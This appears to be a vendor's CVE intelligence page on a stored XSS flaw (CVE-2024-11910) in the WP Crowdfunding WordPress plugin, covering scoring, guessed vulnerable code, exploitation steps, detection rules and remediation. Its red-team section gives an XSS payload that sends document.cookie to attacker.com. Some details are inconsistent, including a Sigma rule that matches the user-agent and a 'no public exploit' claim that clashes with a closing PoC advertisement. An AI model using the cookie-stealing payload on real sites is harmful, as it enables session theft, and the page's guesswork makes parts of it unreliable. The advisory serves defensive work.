CVE-2024-11910
Executive Summary
CVE-2024-11910 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Crowdfunding WordPress plugin, affecting all versions up to and including 2.1.15. The flaw resides in the wp-crowdfunding/search block, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the injected page, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch details are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem, specifically the WP Crowdfunding plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installations and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts poses a significant risk to site integrity and user trust.
Deep Dive & Mechanics
The vulnerability exists in the wp-crowdfunding/search block, which is part of the WP Crowdfunding plugin. This block is used to display search results for crowdfunding campaigns. The plugin fails to properly sanitize user-supplied input and escape output when rendering search parameters or results. An attacker with Contributor-level access can craft a malicious payload (e.g., JavaScript) within a search query or campaign title. When the block is rendered, the payload is stored in the database and executed in the browser of any user viewing the page.
Root Cause: Insufficient input sanitization and output escaping in the wp-crowdfunding/search block handler.
Attack Flow:
- Attacker logs in with Contributor-level privileges.
- Attacker creates or edits a campaign, injecting a malicious script into a searchable field (e.g., campaign title).
- The script is stored in the WordPress database.
- When a victim visits a page containing the
wp-crowdfunding/searchblock, the script executes in their browser. - The attacker can steal cookies, redirect users, or perform other malicious actions.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.1.15):
The plugin likely uses echo or print without proper escaping. Example:
echo '<div class="campaign-title">' . $campaign_title . '</div>';
Patched Code (Hypothetical): The fix would involve using WordPress's built-in escaping functions:
echo '<div class="campaign-title">' . esc_html( $campaign_title ) . '</div>';
Additionally, input should be sanitized with sanitize_text_field() or similar functions before storage.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP Crowdfunding plugin <= 2.1.15
- Contributor-level account or higher
Steps:
- Log in as a Contributor.
- Navigate to "Campaigns" > "Add New".
- In the campaign title field, inject a payload:
<script>alert('XSS')</script> - Publish the campaign.
- Visit a page that displays the
wp-crowdfunding/searchblock (e.g., the search results page). - The script executes.
Advanced Payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual campaign titles containing
<script>,<img onerror>, or other HTML/JavaScript patterns. - Use Web Application Firewall (WAF) rules to block XSS payloads in campaign fields.
Hardening:
- Apply input sanitization and output escaping as described in the patched code section.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags in campaign-related parameters. - Host: Presence of unexpected JavaScript in WordPress database
wp_poststable (e.g., inpost_titleorpost_content). - Logs: WordPress audit logs showing creation or modification of campaigns by Contributor-level users with suspicious content.
Detection Engineering
YARA Rule
rule wp_crowdfunding_xss {
meta:
description = "Detects stored XSS payloads in WP Crowdfunding plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-11910"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<img[^>]+onerror\s*=/is
$xss3 = /onload\s*=/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: WP Crowdfunding Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in WP Crowdfunding plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
http.user_agent|contains:
- 'script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in campaign descriptions
level: medium
Suricata Rule
alert http any any -> any any (msg:"WP Crowdfunding Stored XSS Attempt"; flow:to_server; content:"wp-crowdfunding"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Crowdfunding plugin until a patch is available.
- Restrict Contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with XSS rules.
Long-term Fix:
- Apply input sanitization and output escaping in the
wp-crowdfunding/searchblock. - Update to the latest version once a patch is released by the vendor.
Workaround:
- Use a security plugin like Wordfence to block XSS payloads.
- Manually review and sanitize campaign titles and descriptions.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.